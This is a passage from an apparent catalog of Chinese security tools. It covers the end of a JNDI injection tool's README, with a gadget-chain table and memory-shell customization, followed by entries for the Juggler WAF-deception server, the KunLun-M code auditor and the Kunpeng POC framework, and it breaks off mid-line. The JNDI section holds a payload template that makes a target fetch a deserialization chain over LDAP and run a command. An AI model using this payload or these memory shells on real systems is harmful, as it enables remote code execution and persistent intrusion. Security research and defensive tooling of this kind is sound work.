org.apache.commons.collections4.functors.ChainedTransformer<br />org.apache.commons.collections4.FluentIterable | CommonsCollections2/4链<br />需要4-4.0版本                   |\n| cb17<br />cb18x<br />cb19x                  | CommonsBeanutils2       | org.apache.commons.beanutils.MappedPropertyDescriptor\\$1<br />org.apache.commons.beanutils.DynaBeanMapDecorator\\$MapEntry<br />org.apache.commons.beanutils.BeanIntrospectionData | 1.7x-1.8x为-3490850999041592962<br />1.9x为-2044202215314119608 |\n| c3p092x<br />c3p095x                        | C3P0                    | com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase<br />com.mchange.v2.c3p0.test.AlwaysFailDataSource | 0.9.2pre2-0.9.5pre8为7387108436934414104<br />0.9.5pre9-0.9.5.5为7387108436934414104 |\n| ajw                                         | AspectJWeaver           | org.aspectj.weaver.tools.cache.SimpleCache                   | AspectJWeaver,需要cc31                                       |\n| bsh20b4<br />bsh20b5<br />bsh20b6           | bsh                     | bsh.CollectionManager\\$1<br />bsh.engine.BshScriptEngine<br />bsh.collection.CollectionIterator\\$1 | 2.0b4为4949939576606791809<br />2.0b5为4041428789013517368<br />2.0.b6无法反序列化 |\n| groovy1702311<br />groovy24x<br />groovy244 | Groovy                  | org.codehaus.groovy.reflection.ClassInfo\\$ClassInfoSet<br />groovy.lang.Tuple2<br />org.codehaus.groovy.runtime.dgm\\$1170 | 2.4.x为-8137949907733646644<br />2.3.x为1228988487386910280  |\n| becl                                        | Becl                    | com.sun.org.apache.bcel.internal.util.ClassLoader            | JDK<8u251                                                    |\n| Jdk7u21                                     | Jdk7u21                 | com.sun.corba.se.impl.orbutil.ORBClassLoader                 | JDK<=7u21                                                    |\n| JRE8u20                                     | JRE8u20                 | javax.swing.plaf.metal.MetalFileChooserUI\\$DirectoryComboBoxModel\\$1 | 7u25<=JDK<=8u20<br />这个检测不完美,8u25版本以及JDK<=7u21会误报<br />可综合Jdk7u21来看 |\n| linux<br />windows                          | winlinux                | sun.awt.X11.AwtGraphicsConfigData<br />sun.awt.windows.WButtonPeer | windows/linux版本判断                                        |\n|                                             | all                     |                                                              | 全部检测                                                     |\n\n# 🐳自定义\n\n+ 自定义链子\n\n在 `com.nu1r.jndi.gadgets` 下新建JAVA文件，并实现接口 ObjectPayload 后在 getObject 方法中编写链子逻辑即可。\n使用\n\n```\n{{url\n    (${jndi:ldap://0.0.0.0:1389/Deserialization/自定义链子的类名/nu1r/Base64/{{base64\n        (whoami)\n    }}})\n}}\n```\n\n+ 自定义内存马\n\n在 `com.nu1r.jndi.template` 下新建 JAVA 文件并将主要实现方法写在静态代码块中。\n\n额外方法与 shell 通过 javassist 引入 `com.nu1r.jndi.template.shell.MemShellPayloads`(最小化有效负载的大小)\n\n使用与上面内存马使用一致\n\n---\n\n# 👮免责声明\n\n该工具仅用于安全自查检测\n\n由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。\n\n本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。\n\n# 🦚TODO\n\nGroovyBypass路由与WebsphereBypass路由的具体实现功能还在思考中\n\n# 🐲建议\n\n本项目用JDK1.8.0_332开发，不推荐用高于11的JDK，可能会出现错误\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.3.6.1] - 2025-12-31\n\n - 修复 DirtyDataWrapper 中随机数范围为0-4 \n\n\n#### [v1.3.6] - 2025-10-19\n\n**新增**\n - Jackson3 gadget，JDK17可用，解决JDK版本不同问题\n - Jackson4 gadget，是Jackson1链改造为jdk17可用\n - cc4_17链 \n - 简化部分cb链，cc链类名\n - 修复URLDNS链BUG \n - ldaps的转发完善 \n - 解决Websphere回显马可以执行命令但只回显一次 \n - 解决回显马在jdk17中只能使用一次\n\n\n#### [v1.3.5.2] - 2025-06-26\n\n**修复**  \n- 修复在特定环境下JSEngine无法获取到defineClass的bug  \n\n#### [v1.3.5.2] - 2025-06-26\n\n**修复**  \n- 修复在特定环境下JSEngine无法获取到defineClass的bug  \n\n#### [v1.3.5.1] - 2025-05-17\n\n**修复**  \n- 修复文件路径处理错误  \n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Juggler.md",
    "content": "## Juggler <https://github.com/C4o/Juggler>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-C4o-orange)\n![GitHub stars](https://img.shields.io/github/stars/C4o/Juggler.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## 应用场景\n现在很多WAF拦截了恶意请求之后，直接返回一些特殊告警页面（之前有看到t00ls上有看图识WAF）或一些状态码（403或者500啥的）。\n\n但是实际上返不返回特殊响应都不会有啥实际作用，反而会给攻击者显而易见的提示。\n\n但是如果返回的内容跟业务返回一致的话，就能让攻击者很难察觉到已经被策略拦截了。\n\n场景一：攻击者正在暴力破解某登陆口\n```\n发现登陆成功是\n{\"successcode\":0,\"result\":{\"ReturnCode\":0}}\n登陆失败是\n{\"errorcode\":1,\"error\":\"用户名密码不匹配\",\"result\":{\"ReturnCode\":0}}\n```\n那现在我们可以这么做\n```\n1. 触发规则后持续返回错误状态码，让黑客觉得自己的字典不大行。\n2. 返回一个特定的cookie，当waf匹配到该cookie后，将请求导流到某web蜜罐跟黑客深入交流。\n```\n\n场景二：攻击者正在尝试找xss\n\n我们可以这么做\n```\n例如：\n1. 不管攻击者怎么来，检测后都返回去去除了攻击者payload的请求的响应。\n2. 攻击者payload是alert(xxxx)，那不管系统有无漏，我们返回一个弹框xxx。\n  （当然前提是我们能识别payload的语法是否正确，也不能把攻击者当傻子骗。）\n```\n\n肯定有人会觉得，我们WAF强的不行，直接拦截就行，不整这些花里胡哨的，那这可以的。\n\n但是相对于直接的拦截给攻击者告警，混淆视听，消费攻击者的精力，让攻击者怀疑自己，这样是不是更加狡猾？这也正是项目取名的由来，juggler，耍把戏的人。\n\n当然，上面需求实现的前提，是前方有一个强有力的WAF，只有在攻击请求被检出后，攻击请求才能到达我们的拦截欺骗中心，否则一切都是扯犊子。\n\n```\n项目思路来自我的领导们，并且简单的应用已经在线上有了很长一段时间的应用，我只是思路的实现者。\n项目已在线上运行一年多，每日处理攻击请求过亿。\n\njuggler本质上是一个lua插件化的web服务器，类似openresty（大言不惭哈哈）；\n基于gin进行的开发，其实就是将*gin.Context以lua的userdata放入lua虚拟机，所以可以通过lua脚本进行请求处理。\n```\n\n### 性能\n\n跟gin进行对比，性能损失大概10%。\n\n虽然每个请求的真实处理还是在golang中完成，但是每个请求的一些临时变量都会在lua虚拟机走一遍。\n\ngin逻辑\n```go\nfunc handler(c *gin.Context) {\n    c.String(200, \"host of this request is %s\", c.Request.Host)\n}\n```\njuggler逻辑\n```lua\nlocal var = rock.var\nlocal resp = rock.resp\n\nresp.string(200, \"host of this request is %s\", var.host)\n```\n\n### 使用方式\n\n项目流程图\n![image](https://github.com/C4o/Juggler/raw/master/pics/juggler.jpg)\n\n示例插件\n\n```lua\n-- juggler.test.com.lua\n-- 文件名juggler.test.com.lua 当攻击请求的业务域名是juggler.test.com时匹配该插件\nlocal var = rock.var\nlocal resp = rock.resp\nlocal crypto = require(\"crypto\")\nlocal time = require(\"time\")\nlocal re = require(\"re\")\nlocal log = rock.log\nlocal ERR = rock.ERROR\n\n-- 通过var内的参数，匹配每一个攻击请求中的http参数\nif var.rule == \"sqli\" then\n    -- 满足条件后直接返回格式化字符串，使用内置方法每次回显不同的32位随机md5值\n    resp.string(200, \"Congratulation！Password hash is %s.\", crypto.randomMD5(32))\n    -- 在日志文件中打印日志\n    log(ERR, \"found sqli attack in %d\", time.format())\n    return\nend\n\n-- 使用正则匹配某个路径，与规则匹配并用\nif var.rule == \"xss\" and re.match(var.uri, \"^/admin/\") then\n    -- 设置响应体类型\n    resp.set_header(\"Content-Type\", \"text/html; charset=utf-8\")\n    -- 添加响应头Date，内容是正常服务器产生的内容\n    resp.set_header(\"Date\", time.server_date())\n    -- 只响应状态码，不响应内容\n    resp.status(403)\n    return\nend\n\nif var.rule == \"lfi_shadow\" then\n    -- 使用预存文件etc_shadow.html进行内容回显，状态码200\n    resp.html(200, \"etc_shadow\")\n    return\nend\n\nif var.rule == \"rce\" then\n    resp.set_header(\"Content-Type\", \"text/html; charset=utf-8\")\n    -- 在响应中set_cookie\n    resp.set_cookie(\"sessionid\", \"admin_session\", 6000, \"/\", var.host, true, true)\n    -- 克隆固定页面回显，缓存内容，不会每次都克隆\n    resp.clone(200, \"https://duxiaofa.baidu.com/detail?searchType=statute&from=aladdin_28231&originquery=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B3%95&count=79&cid=f66f830e45c0490d589f1de2fe05e942_law\")\n    return\nend\n\n-- 不匹配任何规则时，返回默认404内容\nresp.set_header(\"Content-Type\", \"text/html; charset=utf-8\")\nresp.html(404, \"default_404\")\nreturn\n```\n\n## 特点\n\n### 插件编写灵活\n\n插件支持lua所有常见语法，暂时不支持goto。可以调用预先注册好的变量、函数、模块。\n\n实现个很简单的响应状态码404的页面。\n\n```lua\nlocal var = rock.var\nlocal resp = rock.resp\n\nresp.set_header(\"Content-Type\", \"text/html; charset=utf-8\")\nresp.string(404, \"this is 404 page! your host is %s, your ip is %s.\", var.host, var.addr)\n```\n\n### 插件和响应文件被动式更新\n\n加载时会初始化所有的插件和响应内容文件。\n\n![image](https://github.com/C4o/Juggler/raw/master/pics/juggler-1.gif)\n\n使用inotify来监听文件行为，实现被动式的更新，不用写那个多主动轮询的for循环。\n\n![image](https://github.com/C4o/Juggler/raw/master/pics/juggler-2.gif)\n\n### 丰富三方插件库可自行定义\n\njuggler中的lua插件除了lua本身的一些变量，其他的都是由golang实现后注册进lua虚拟机供lua进行调用的。\n\n例如定义一个生成随机数的golang-lua函数\n\n```go\n// L是lua虚拟机\nvar L *lua.LState\n// 注册这个模块\nL.PreloadModule(\"random\", luaRandom)\n\n// golang中定义的可在lua中使用的生成随机数方法\nvar randFns = map[string]lua.LGFunction{\n\t\"rint\" : rint,\n}\n\nfunc rint(L *lua.LState) int {\n\n\trand.Seed(time.Now().UnixNano())\n\tL.Push(lua.LNumber(rand.Intn(L.CheckInt(1))+1))\n\treturn 1\n}\n```\n\nlua使用方式\n\n```lua\nlocal random = require(\"random\")\nprint(random.rint(3))\n-- 每次运行会打印 0,1,2 中的一个\n```\n\n## 已实现需求\n\n### 每个请求可操作的变量和函数\n\n#### 1. 项目全局根变量：rock\n\n项目所有的变量的，类型是table。\n\n#### 2. http请求：rock.var\n\n包含了部分的当前请求的参数，具体参数见golua/request.go，已经覆盖了常见的参数了\n\n```go\n    case \"host\":\n\t\tL.Push(lua.LString(r.Host))\n\tcase \"status\":\n\t\tL.Push(lua.LNumber(w.Status()))\n\tcase \"xff\":\n\t\tL.Push(lua.LString(r.Header.Get(\"x-forwarded-for\")))\n\tcase \"rule\":\n\t\tL.Push(lua.LString(r.Header.Get(\"rule\")))\n\tcase \"size\":\n\t\tL.Push(lua.LNumber(w.Size()))\n\tcase \"method\":\n\t\tL.Push(lua.LString(r.Method))\n\tcase \"uri\":\n\t\tL.Push(lua.LString(r.URL.Path))\n\tcase \"app\":\n\t\tL.Push(lua.LString(r.Header.Get(\"x-Rock-APP\")))\n\tcase \"addr\":\n\t\tL.Push(lua.LString(r.Header.Get(\"x-real-ip\")))\n\tcase \"saddr\":\n\t\tL.Push(lua.LString(r.RemoteAddr))\n\tcase \"query\":\n\t\tL.Push(lua.LString(r.URL.RawQuery))\n\tcase \"ref\":\n\t\tL.Push(lua.LString(r.Referer()))\n\tcase \"ua\":\n\t\tL.Push(lua.LString(r.UserAgent()))\n\tcase \"ltime\":\n\t\tL.Push(lua.LNumber(time.Now().Unix()))\n\tdefault:\n\t\tL.Push(lua.LNil)\n```\n\n#### 3. http响应：rock.resp\n\n处理响应，通过每个请求的*gin.Context存在userdata的值进行操作\n\n```lua\nlocal resp = rock.resp\n\n-- 参数是状态码number类型，无返回\nresp.status(200)\n-- *gin.Context响应回显状态码\n\n-- 参数是 状态码number类型、响应体是格式化字符串string类型、任意类型，无返回\nresp.string(200, \"return a string..%s\", \"xx\")\n-- *gin.Context响应回显状态码，并返回格式化字符串\n\n-- 参数是 状态码number类型、响应体文件名是string类型、任意类型，无返回\n-- 第二个参数对应的文件在项目html目录下，如输入juggler_404，那么实际内容就是juggler_404.html\n-- 如果找不到该文件，就返回default_404.html的内容，所有内容会在第一次加载后缓存进内存\nresp.html(200, \"juggler_404\")\n-- *gin.Context响应回显状态码，和缓存页面内容（实际上也是格式化字符串）\n\n-- 参数是 状态码number类型，url是string类型\n-- 第二个参数是可以进行克隆的url，比如不方便直接存，那可以直接克隆，内容会在克隆完成一次后缓存进内存\nresp.clone(200, \"http://juggler.test.com/uri?p=1\")\n-- *gin.Context响应克隆出来的内容\n\n-- 参数是 头的key和头的值，都是string类型，没有返回\nresp.set_header(\"Content-Type\", \"text/html; charset=utf-8\")\n-- *gin.Context设置头参数\n\n-- 参数是 cookie的key和值，都是string类型，生命周期number类型，作用路径和作用域名是string类型，secure和httponly是布尔类型，没有返回\nresp.set_cookie(\"sessionid\", \"admin_session\", 6000, \"/\", var.host, true, true)\n-- *gin.Context设置cookie\n```\n\n### 内置模块、函数和对应需求\n\n#### 1. 正则匹配：re\n\n统一拦截规则可能会需要根据不同uri区分子业务来返回对应的欺骗页面\n\nre中实现缓存，所以性能优于golang原生（虽然golang中的正则匹配性能一直被诟病\n\n```lua\nlocal var = rock.var\nlocal re = require(\"re\")\n\n-- 参数是 待匹配字符串、正则匹配语法，返回bool类型\nlocal res = re.match(var.uri, \"^/admin/\")\n-- 输入 true或者false\n```\n\n#### 2. 时间相关：time\n\n服务器的Date时间特定格式、使用unix时间戳计算、日志打印格式化时间\n\n```lua\nlocal time = require(\"time\")\n\n-- 没有参数，返回number类型\nlocal zero = time.zero\n-- 输出 1590829200，主要用来做差值算余数\n\n-- 没有参数，返回string类型\nlocal server_date = time.server_date()\n-- 输出 Mon, 06 Jul 2020 15:28:49 GMT\n\n-- 没有参数，返回string类型\nlocal format_time = time.format()\n-- 输出 2020-07-06 15:30:14\n```\n\n#### 3. 加密：crypto\n\n业务上会有些接口，每次报错会返回一个随机md5，为了完全仿真，我们返回的数据的md5必然也要随机\n\n```lua\nlocal crypto = require(\"crypto\")\n\n-- 参数是string类型，返回string类型\nlocal md5sum = crypto.md5sum(\"123\")\n-- 输出 202cb962ac59075b964b07152d234b70\n\n-- 参数是16或32，number类型，返回string类型\nlocal randomMD5 = crypto.randomMD5(16)\n-- 输出一个随机的对应长度的md5\n```\n\n#### 4. 随机数：random\n\nlua中使用随机数对table内容进行随机筛选，由于lua自带的随机数函数太不随机，所以自己实现\n\n```lua\nlocal random = require(\"random\")\n\n-- 参数是随机数范围，返回number类型\nlocal ri = random.rint(3)\n-- 输出 0,1,2 中的一个\n```\n\n#### 5. 日志打印：log、ERROR、DEBUG、INFO\n\nERROR、DEBUG、INFO都是日志等级\n\n```lua\nlocal log = rock.log\nlocal ERR = rock.ERROR\n\n-- 参数是 日志等级（number类型）、格式化字符串（string类型）、若干个填入内容（任意类型），没有返回\nlog(ERR, \"this is a err msg.\")\n-- 日志中输出 2020/07/06 15:32:43 [error] this is a err msg.\n```\n\n## 联动WAF使用\n\n![image](https://github.com/C4o/Juggler/raw/master/pics/juggler-waf.jpg)\n\n## 本项目在现实中的应用\n\n### WAF体系\n\n本项目为拦截图中的拦截欺骗中心，接收并处理所有恶意请求。\n\n![image](https://p3.ssl.qhimg.com/t015b7079b7b1839010.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/KunLun-M.md",
    "content": "## KunLun-M <https://github.com/LoRexxar/Kunlun-M>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![GitHub stars](https://img.shields.io/github/stars/LoRexxar/Kunlun-M.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.6.5-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n<big>**自Cobra-W 2.0版本起，Cobra-W正式更名为Kunlun-M(昆仑镜)，**</big>\n\n**请使用python3.6+运行该工具，已停止维护python2.7环境**\n\n# Kunlun-Mirror\n```\n _   __            _                      ___  ___\n| | / /           | |                     |  \\/  |\n| |/ / _   _ _ __ | |    _   _ _ __       | .  . |\n|    \\| | | | '_ \\| |   | | | | '_ \\ _____| |\\/| |\n| |\\  \\ |_| | | | | |___| |_| | | | |_____| |  | |\n\\_| \\_/\\__,_|_| |_\\_____/\\__,_|_| |_|     \\_|  |_/  -v2.0\n\nGitHub: https://github.com/LoRexxar/Kunlun-M\n\nKunLun-M is a static code analysis system that automates the detecting vulnerabilities and security issue.\n\nMain Program\n\npositional arguments:\n  {init,config,scan,show,console}\n    init                Kunlun-M init before use.\n    config              config for rule&tamper\n    scan                scan target path\n    show                show rule&tamper\n    console             enter console mode\n\noptional arguments:\n  -h, --help            show this help message and exit\n\nUsage:\n  python kunlun.py scan -t tests/vulnerabilities\n  python kunlun.py scan -t tests/vulnerabilities -r 1000, 1001\n  python kunlun.py scan -t tests/vulnerabilities -tp wordpress\n  python kunlun.py scan -t tests/vulnerabilities -d -uc\n\n  python kunlun.py list rule -k php\n```\n\n## Introduction\nCobra是一款**源代码安全审计**工具，支持检测多种开发语言源代码中的**大部分显著**的安全问题和漏洞。\n[https://github.com/wufeifei/cobra](https://github.com/wufeifei/cobra)\n\nCobra-W是从Cobra2.0发展而来的分支，将工具重心从尽可能的发现威胁转变为提高发现漏洞的准确率以及精度。\n[https://github.com/LoRexxar/Kunlun-M/tree/cobra-w](https://github.com/LoRexxar/Kunlun-M/tree/cobra-w)\n\nKunlun-Mirror是从Cobra-W2.0发展而来，在经历了痛苦的维护改进原工具之后，昆仑镜将工具的发展重心放在安全研究员的使用上，将会围绕工具化使用不断改进使用体验。\n\n目前工具主要支持**php、javascript**的语义分析，以及**chrome ext, solidity**的基础扫描.\n\n## Stargazers \n\n<div align=center><a href=\"https://github.com/LoRexxar/Kunlun-M\"><img src=\"https://api.star-history.com/svg?repos=LoRexxar/Kunlun-M&type=Timeline\"></a></div>\n\n## why KunLun-M\n\nKunLun-M可能是市面上唯一的开源并长期维护的自动化代码审计工具，希望开源工具可以推动白盒审计的发展:>.\n\n## 特点\n\n与其他代码审计相比：\n- 静态分析，环境依赖小。\n- 语义分析，对漏洞有效性判断程度更深。\n- 多种语言支持。\n- 开源python实现，更易于二次开发。\n\n与Cobra相比：\n- 深度重写AST，大幅度减少漏洞误报率。\n- 底层api重写，支持windows、linux等多平台。\n- 多层语义解析、函数回溯，secret机制，新增多种机制应用于语义分析。\n- 新增javascript语义分析，用于扫描包含js相关代码。\n\n与Cobra-W相比(todo):\n- 深度优化AST分析流程，使其更符合QL的概念，便于下一阶段的优化。\n- 深度优化辅助审计的流程，使其更符合人类安全研究员审计辅助的习惯。\n- 深度重构代码结构，使其更符合可拓展，可优化的开源理念。\n\n## TODO\n**KunLun-M后续的更新计划会是跨越式更新，根据一段时间的研究和探索，我决定从底层重构这套代码分析方案**\n\n## 社区化工具\n\n社区成员完成的拓展（不保证安全性，参考使用）\n\n- [Kunlun-M-GUI](https://github.com/mark0smith/Kunlun-M-GUI)\n- [docker-kunlun-mirror](https://github.com/lazychanger/docker-kunlun-mirror)\n\n## 更新日志\n\n[changelog.md](https://github.com/LoRexxar/Kunlun-M/blob/master/docs/changelog.md)\n\n\n## 安装\n\n首先需要安装依赖\n```\npip install -r requirements.txt\n```\n\n配置文件迁移\n```\ncp Kunlun_M/settings.py.bak Kunlun_M/settings.py\n```\n\n\n初始化数据库，默认采用sqlite作为数据库\n```\npython kunlun.py init initialize\n```\n\n加载规则进数据库（每次修改规则文件都需要加载）\n```\npython kunlun.py config load\n```\n\n### docker安装\n\n通过docker安装，默认启动web模式\n\n```\nsudo docker build -t kunlun-m -f ./docker/Dockerfile .\n```\n\n配合链接同Mysql可以实现本地扫描，web端查看结果。\n\n## Usage\n\n### cli mode\n\n使用scan模式扫描各类源代码\n```\npython3 kunlun.py scan -t ./tests/vulnerabilities/\n```\n\n使用config模式加载本地的rule/tamper\n```\npython3 kunlun.py config load         # 加载rule进数据库\npython3 kunlun.py config recover      # 将数据库中的rule恢复到文件\npython3 kunlun.py config loadtamper   # 加载tamper进数据库\npython3 kunlun.py config retamper     # 将数据库中的tamper恢复到文件\n\n```\n\n使用show模式查看目前的所有rule/tamper\n```\npython3 kunlun.py show rule           # 展示所有的rule\npython3 kunlun.py show rule -k php    # 展示所有php的rule\npython3 kunlun.py show tamper         # 展示所有的tamper\n```\n\n使用不同子模式的-h可以查看详细的帮助文档。\n\n\n### web mode\nKunLun-M Dashbroad，并且允许通过apitoken来访问api获取数据\n\n默认9999端口\n```\npython3 .\\kunlun.py web -p 9999\n```\n\n![](https://github.com/LoRexxar/Kunlun-M/raw/master/docs/web.png)\n\n修改`KunLun-M/settings.py`中的api-token，通过?token={api_token}访问api获取数据\n```\n# api profile\nAPI_TOKEN = \"secret_api_token\"\n```\n\nApi List\n```\ntask/list                                       查看task列表\ntask/<int:task_id>                              查看task详细信息\ntask/<int:task_id>/result                       查看task扫描结果\ntask/<int:task_id>/resultflow                   查看task扫描结果流\ntask/<int:task_id>/newevilfunc                  查看task扫描后生成的新恶意函数\n\nrule/list                                       查看规则列表\nrule/<int:rule_id>                              查看规则细节\n```\n\n### console mode\n\n**建议使用console模式**\n```\npython3 kunlun.py console\n\n\n _   __            _                      ___  ___\n| | / /           | |                     |  \\/  |\n| |/ / _   _ _ __ | |    _   _ _ __       | .  . |\n|    \\| | | | '_ \\| |   | | | | '_ \\ _____| |\\/| |\n| |\\  \\ |_| | | | | |___| |_| | | | |_____| |  | |\n\\_| \\_/\\__,_|_| |_\\_____/\\__,_|_| |_|     \\_|  |_/  -v2.0\n\nGitHub: https://github.com/LoRexxar/Kunlun-M\n\nKunLun-M is a static code analysis system that automates the detecting vulnerabilities and security issue.\n\nGlobal commands:\n    help                                             Print this help menu\n    scan                                             Enter the scan mode\n    load <scan_id>                                   Load Scan task\n    showt                                            Show all Scan task list\n    show [rule, tamper] <key>                        Show rules or tampers\n    config [rule, tamper] <rule_id> | <tamper_name>  Config mode for rule & tamper\n    exit                                             Exit KunLun-M & save Config\n\n\nKunLun-M (root) >\n```\n\n#### 使用KunLun-M 查看 rules 和 tampers\n\n[![asciicast](https://asciinema.org/a/360842.svg)](https://asciinema.org/a/360842)\n\n#### 使用KunLun-M 扫描漏洞\n\n[![asciicast](https://asciinema.org/a/360843.svg)](https://asciinema.org/a/360843)\n\n#### 使用KunLun-M 查看扫描结果\n\n[![asciicast](https://asciinema.org/a/360845.svg)](https://asciinema.org/a/360845)\n\n\n### plugin mode\n\n#### phpunserializechain\n\n一个自动化寻找php反序列化链的简单模型\n\n**如果是旧版本更新并使用该插件扫描同一目标，请使用-r参数renew数据库**\n\n```\npython3 .\\kunlun.py plugin php_unserialize_chain_tools -t {target_path}\n```\n\n![](https://github.com/LoRexxar/Kunlun-M/raw/master/docs/phpunserchain.png)\n\n\n#### EntranceFinder\n\n一个有趣的小工具，用于解决在审计大量的php代码时，快速发现存在可能的入口页面（或是开发者都遗漏的）。\n\n```\npython3 .\\kunlun.py plugin entrance_finder -t {target_path} -l 3\n```\n\n![](https://github.com/LoRexxar/Kunlun-M/raw/master/docs/entrancefinder.png)\n\n## 开发文档\n\n开发文档还未更新.相应的文档内容仅供参考。\n\n[dev.md](https://github.com/LoRexxar/Kunlun-M/raw/master/docs/dev.md)\n\n### 规则插件开发\n\n规则插件开发遵循\n```\nrules/{语言类型}/CVI_xxxx.py\n```\n\n在规则目录下，只有命名符合规定的规则会被成功加载，命名格式严格为`CVI_编号.py`\n\n规则模板可以参考rules/rule.template\n\n### .kunlunmignore\n\n.kunlunmignore是新引入的用于黑名单扫描目录的功能。目前只支持*语法，可以用来匹配相应的目录以及文件类型。\n\n相匹配到的文件不会被扫描。\n\n当然，可以通过-b来实现\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-08-23 发布演示视频[404星链计划开源安全工具演示——KunLun-M](https://www.bilibili.com/video/BV15a411G7CT)\n\n## 最近更新\n\n#### [v2.6.5] - 2022-06-23\n\n**更新**  \n- 更新了社区化的部署方案，支持使用公开的Server端查看扫描结果，为后续延展提供基础  \n- 更新了潮汐平台链接，可以使用潮汐平台快速部署体验\n\n#### [v2.6.4.2] - 2022-03-02\n\n**修复**  \n- 修复了几个PHP的语法支持问题  \n- 修复了组件扫描中关于pom.xml静态扫描的几个语法解析错误  \n- 修改了组件数据储存格式\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Kunpeng.md",
    "content": "## Kunpeng <https://github.com/opensec-cn/kunpeng>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-opensec-orange)\n![GitHub stars](https://img.shields.io/github/stars/opensec-cn/kunpeng.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## 简介\n\nKunpeng是一个Golang编写的开源POC检测框架，集成了包括数据库、中间件、web组件、cms等等的漏洞POC（[查看已收录POC列表](doc/plugin.md)），可检测弱口令、SQL注入、XSS、RCE等漏洞类型，以动态链接库的形式提供调用，通过此项目可快速开发漏洞检测类的系统，比攻击者快一步发现风险漏洞。\n\n这不是一个POC框架轮子，而是为了解决轮子问题而设计的，也不仅仅只是框架，定位是期望成为一个大家共同维护的漏洞POC库，安全开发人员只需专注于相关安全检测系统的业务逻辑代码实现，而不必各自重复的耗费精力维护漏洞库。\n\n**为避免被恶意使用，此项目所有收录的漏洞均为验证POC和理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。**\n\n运行环境：Windows，Linux，Darwin  \n工作形态：动态链接库，so、dll、dylib、go plugin  \n\n## 特点\n- 开箱即用，无需安装任何依赖\n- 跨语言使用，动态链接库形式提供调用\n- 单文件，更新方便，直接覆盖即可\n- 开源社区维护，内置常见漏洞POC\n- 最小化漏洞验证和理论判断，尽量避免攻击行为\n\n\n## 使用场景\n渗透测试辅助工具：例如msf，交互控制台 -> **Kunpeng**\n\n网络资产安全监控：例如巡风，端口扫描 -> 指纹识别 -> **kunpeng**  或  nmap -> **kunpeng**\n\n扫描器： 作为扫描器的漏洞库\n\n更多使用场景可自由发挥 \n\n## 使用方法\n\n```go\n接口调用说明\n\n/*  传入需检测的目标JSON，格式为：\n    {\n        \"type\": \"web\", //目标类型web或者service\n        \"netloc\": \"http://xxx.com\", //目标地址，web为URL，service格式为123.123.123.123:22\n        \"target\": \"wordpress\", //目标名称，GO插件注册时使用的字符串（模糊匹配）、JSON插件的target属性（模糊匹配）、CVE编号（例：CVE-xx-xxx）、KPID(例：KP-0013)编号，决定使用哪些POC进行检测，具体查看 /doc/plguin.md\n        \"meta\":{\n            \"system\": \"windows\",  //操作系统，部分漏洞检测方法不同系统存在差异，提供给插件进行判断\n            \"pathlist\":[], //目录路径URL列表，部分插件需要此类信息，例如列目录漏洞插件\n            \"filelist\":[], //文件路径URL列表，部分插件需要此类信息，例如struts2漏洞相关插件\n            \"passlist\":[] //自定义密码字典\n        } // 非必填\n    }\n    返回是否存在漏洞和漏洞检测结果\n*/\nCheck(taskJSON string) string\n\n// 获取插件列表信息\nGetPlugins() string\n\n\n/*  配置设置，传入配置JSON，格式为：\n    {\n        \"timeout\": 15, // 插件连接超时\n        \"aider\": \"http://123.123.123.123:8088\", // 漏洞辅助验证接口，部分漏洞无法通过回显判断是否存在漏洞，可通过辅助验证接口进行判断。python -c'import 